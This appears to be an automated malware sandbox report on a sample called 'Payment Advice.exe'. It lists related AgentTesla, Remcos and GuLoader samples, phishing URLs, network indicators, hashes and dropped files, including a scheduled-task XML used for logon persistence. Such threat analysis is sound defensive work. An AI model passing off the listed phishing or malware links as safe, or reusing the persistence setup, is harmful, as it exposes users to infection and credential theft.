	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	SecuriteInfo.com.Win64.RATX-gen.31127.4101.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/
94.100.26.91	PO00221.exe	Get hash	malicious	AgentTesla	Browse
	FEB-MAR SOA 2024.exe	Get hash	malicious	AgentTesla	Browse
	FEB-MAR SOA 2024.exe	Get hash	malicious	AgentTesla	Browse
	SOA FEB 2024.exe	Get hash	malicious	AgentTesla	Browse
	SOA JAN 2024.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	PO 00223.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win32.CrypterX-gen.28563.21605.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	RFQ Img_Quotation PO 202400969 - HESSEN TECH_pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	order 4500381478001.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Scan-IMG PO Order CW289170-A CW201.bat.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	TransactionSummary_910020049836765_110424045239.xlsx	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	PRODUCT LIST_002673CC1F68.pdf.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	WZM.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	104.26.12.205
	hesaphareketi_1.SCR.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	DHL 0028374.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	p silp AI240190.pdf.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Order Details and Specifications.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.12.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	RFQ Img_Quotation PO 202400969 - HESSEN TECH_pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://huntingtonoakmont-my.sharepoint.com/:b:/g/personal/cmariotti_oakmontcommunities_com/EeUv57weU1BKhs36H3rF_G0BHM4kTzJShI_ZPwFvp1P7-g?e=4UASJ5	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Nexpoint-annual-staff-promotion-and-benefits_KDV-791358.docx	Get hash	malicious	Unknown	Browse	104.21.63.140
	Nexpoint-annual-staff-promotion-and-benefits_KDV-791358.docx	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://t.cm.morganstanley.com/r/?id=h1b92d14,134cc33c,1356be32&p1=esi-doc.one/YWGTytNgAkCXj6A/c451eb59da652ea3e0bb7f8bf62dc775/c451eb59da652ea3e0bb7f8bf62dc775/c451eb59da652ea3e0bb7f8bf62dc775/bXNvbG9yemFub0Bsc2ZjdS5vcmc=&d=DwMGaQ	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	SecuriteInfo.com.Exploit.ShellCode.69.31966.31539.rtf	Get hash	malicious	Remcos	Browse	104.21.84.67
	https://assets-gbr.mkt.dynamics.com/63445ada-d6fc-ee11-9046-002248c656ac/digitalassets/standaloneforms/4f16ddf0-7afd-ee11-a1fe-000d3ad499fa	Get hash	malicious	HTMLPhisher	Browse	104.17.64.14
	http://wechatunsuscribe.secure.force.com	Get hash	malicious	Unknown	Browse	1.1.1.1
	notepad.txt	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	https://tracker.club-os.com/campaign/click?msgId=f8ea317d963149a518aa35e03e5541f797badf3c&target=splendidanimations.com%2F%40%2FC2educate/aEFQv26188aEFQv26188aEFQv/anVsaWUubG9uZ2lub0BjMmVkdWNhdGUuY29t	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
HVC-ASUS	https://freesnippingtool.com/	Get hash	malicious	Unknown	Browse	23.111.140.234
	Credit_Details21367163050417024.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	107.155.77.34
	RFQ183494.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	107.155.77.34
	setup.msi	Get hash	malicious	ScreenConnect Tool	Browse	23.227.196.172
	cf9dPUbn3C.exe	Get hash	malicious	Remcos	Browse	45.74.19.121
	3hHHxU2r9a.exe	Get hash	malicious	Remcos	Browse	45.74.19.121
	April_2024_discount_Voucher-Unique-d-File.cmd	Get hash	malicious	Unknown	Browse	45.74.19.121
	https://chorus-syncguitar.uk.nf/	Get hash	malicious	TechSupportScam	Browse	91.208.16.159
	http://www.theorlandotimesnewspaper.com	Get hash	malicious	Unknown	Browse	104.254.130.154
	AprilDiscountVoucher.exe	Get hash	malicious	Quasar	Browse	45.74.19.121

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	RFQ Img_Quotation PO 202400969 - HESSEN TECH_pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	SA162.pdf.download.lnk	Get hash	malicious	Unknown	Browse	104.26.13.205
	https://wechatunsuscribe.secure.force.com/	Get hash	malicious	Unknown	Browse	104.26.13.205
	https://t.airgears.org/r/?resource=120958450/4d9ac80/2a1170&e=dYRtX3NhcXBhbXduQUFjYW4kb26DYXK0LWQzJnV0bW9zb3WyY3V9YWNkJnV1bV9uAWRpdZ09ZW1ibWwmd39udW09OUT3MTNwMzQzMUYmd391cj0zJm1pX4U9eW5kZWApbmVlJmNpZD2yYURNNzV0NDgmYnlkPUE2MjBzN&ref_=1wy&ref=98k/&u=4jj4/&eid=xekc6v/DU5MjEnc2VoY29lZT11cmRlZnluZWQ&s=obI3r-q7de3Me3nnN3cpKfiix7CULJmXF7FuunFtjSx	Get hash	malicious	Unknown	Browse	104.26.13.205
	ueworoejvdvhruthqq3.exe	Get hash	malicious	Patchwork	Browse	104.26.13.205
	ueworoejvdvhruthqq3.exe	Get hash	malicious	Patchwork	Browse	104.26.13.205
	order 4500381478001.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Scan-IMG PO Order CW289170-A CW201.bat.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	http://Doggygangers.com/YfMv2QsjpCQl845BWSYNfNOQitweyze_Z6lIlrRr43MRjX_HrM/get_download_file_name.php	Get hash	malicious	Unknown	Browse	104.26.13.205
	_Contrato_E2024A493865_PDF.js	Get hash	malicious	Unknown	Browse	104.26.13.205

Process:	C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2056
Entropy (8bit):	5.342567089024067
Encrypted:	false
SSDEEP:	48:MxHKlYHKh3ouHgJHreylEHMHKo/tHo6hAHKzeRHKx1qHKHxvj:iqlYqh3ou0aymsqwtI6eqzqqxwqRb
MD5:	83A6E29FD802325CCCB720870B60C618
SHA1:	4CD8AC6CA2659E4E32D1B27A8A4E77ABF980EE43
SHA-256:	A81A5B984180553C06E7C9CAE0BAF7E195950801F493996F48FA59F1ACC135B2
SHA-512:	69CC81145ACCA3D5C154D3A11396C2AFAEC4135662A82124EA249817BE7066D782DE2C79FE985E23F32F9709C144E2C513C727CFD1A88D677F34EB25E868B560
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\WindowsBase\4d760e3e4675c4a4c66b64205fb0d001\WindowsBase.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\17470ef0c7a174f38bdcadacc3e310ad\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Payment Advice.exe.log

Download File

Process:	C:\Users\user\Desktop\Payment Advice.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2056
Entropy (8bit):	5.342567089024067
Encrypted:	false
SSDEEP:	48:MxHKlYHKh3ouHgJHreylEHMHKo/tHo6hAHKzeRHKx1qHKHxvj:iqlYqh3ou0aymsqwtI6eqzqqxwqRb
MD5:	83A6E29FD802325CCCB720870B60C618
SHA1:	4CD8AC6CA2659E4E32D1B27A8A4E77ABF980EE43
SHA-256:	A81A5B984180553C06E7C9CAE0BAF7E195950801F493996F48FA59F1ACC135B2
SHA-512:	69CC81145ACCA3D5C154D3A11396C2AFAEC4135662A82124EA249817BE7066D782DE2C79FE985E23F32F9709C144E2C513C727CFD1A88D677F34EB25E868B560
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\WindowsBase\4d760e3e4675c4a4c66b64205fb0d001\WindowsBase.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\17470ef0c7a174f38bdcadacc3e310ad\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\sFPEKzHsLkYZIz.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2056
Entropy (8bit):	5.342567089024067
Encrypted:	false
SSDEEP:	48:MxHKlYHKh3ouHgJHreylEHMHKo/tHo6hAHKzeRHKx1qHKHxvj:iqlYqh3ou0aymsqwtI6eqzqqxwqRb
MD5:	83A6E29FD802325CCCB720870B60C618
SHA1:	4CD8AC6CA2659E4E32D1B27A8A4E77ABF980EE43
SHA-256:	A81A5B984180553C06E7C9CAE0BAF7E195950801F493996F48FA59F1ACC135B2
SHA-512:	69CC81145ACCA3D5C154D3A11396C2AFAEC4135662A82124EA249817BE7066D782DE2C79FE985E23F32F9709C144E2C513C727CFD1A88D677F34EB25E868B560
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\WindowsBase\4d760e3e4675c4a4c66b64205fb0d001\WindowsBase.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\17470ef0c7a174f38bdcadacc3e310ad\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379553825721504
Encrypted:	false
SSDEEP:	48:RWSU4xympjgs4RIoU99tK8NPZHUl7u1iMugeoM0Uyus:RLHxvCsIfA2KRHmOugU1s
MD5:	CE7A29F24F012D1D5897D46340FBEA84
SHA1:	DD109C4F3AB8581C65AA89C0EC3A8D025CDA6A78
SHA-256:	8F979257E13783331F59E9AE8392784DB4A26F541FA01AADAACB5219FBD232CA
SHA-512:	090891F557B6CC285FF3644B12056A36BBC1E5977D2A8ED4E735C8D01FE13689972885B3615136013A0E44D1BF6AC01546F210A310462D28AED7FA8A8816269F
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0xbngyaq.g42.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_33p3wgzx.dln.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3txy3oys.blp.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fm2dvqgd.hcl.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_keru10gn.pnm.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m3xa4heo.qmr.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qzxa52gb.ecg.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uklbcpkl.dko.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp6619.tmp

Download File

Process:	C:\Users\user\Desktop\Payment Advice.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.130509900371807
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaXuxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTeiv
MD5:	FF8D8947E97C7AFA666C77CB83609FE4
SHA1:	905DD78209DF5B8BDDDC77A1265B3AA5D03E655D
SHA-256:	CE276398C675753C1B709070078CB68B7A333F67E263B8F444F55A09D8AC452F
SHA-512:	CA38769C7FBAC37A586CEBFEB2451E756D0E8E2E20BB5775509D03877E927B95211A3282C5919C398B4F1E512CF39A8B008F8C669ED6227942C2713C06A0A569
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmp7ACA.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.130509900371807
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaXuxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTeiv
MD5:	FF8D8947E97C7AFA666C77CB83609FE4
SHA1:	905DD78209DF5B8BDDDC77A1265B3AA5D03E655D
SHA-256:	CE276398C675753C1B709070078CB68B7A333F67E263B8F444F55A09D8AC452F
SHA-512:	CA38769C7FBAC37A586CEBFEB2451E756D0E8E2E20BB5775509D03877E927B95211A3282C5919C398B4F1E512CF39A8B008F8C669ED6227942C2713C06A0A569
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmpA082.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.130509900371807
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaXuxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTeiv
MD5:	FF8D8947E97C7AFA666C77CB83609FE4
SHA1:	905DD78209DF5B8BDDDC77A1265B3AA5D03E655D
SHA-256:	CE276398C675753C1B709070078CB68B7A333F67E263B8F444F55A09D8AC452F
SHA-512:	CA38769C7FBAC37A586CEBFEB2451E756D0E8E2E20BB5775509D03877E927B95211A3282C5919C398B4F1E512CF39A8B008F8C669ED6227942C2713C06A0A569
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmpC03F.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.130509900371807
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaXuxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTeiv
MD5:	FF8D8947E97C7AFA666C77CB83609FE4
SHA1:	905DD78209DF5B8BDDDC77A1265B3AA5D03E655D
SHA-256:	CE276398C675753C1B709070078CB68B7A333F67E263B8F444F55A09D8AC452F
SHA-512:	CA38769C7FBAC37A586CEBFEB2451E756D0E8E2E20BB5775509D03877E927B95211A3282C5919C398B4F1E512CF39A8B008F8C669ED6227942C2713C06A0A569
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe

Download File

Process:	C:\Users\user\Desktop\Payment Advice.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	695304
Entropy (8bit):	7.966429011761553
Encrypted:	false
SSDEEP:	12288:fH7A3U2WtXkF/gAiCTLY10rcTu0Gm6NHeMdwG+q7Ln2oMIzw4CGDw92kR:UE2OSIUTE14cZ6dp3n2opw/
MD5:	F060B9400A263BEA044A7789EC1D85D9
SHA1:	3E939EA522E4356FBDC15C7E0119366A6369E0C9
SHA-256:	921ACE6C0F27813FA370B65BCAEE79824A4E31920DBDFEC7652103C60E84CD23
SHA-512:	CEDA146640E354440FFBDBE3B8DE48E4C1B7B03654687115B1E320F6C38513BFE00CC5BA5AFB5858126BC6A257630980D34FD81F26AE992077330ED30D3A39DA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
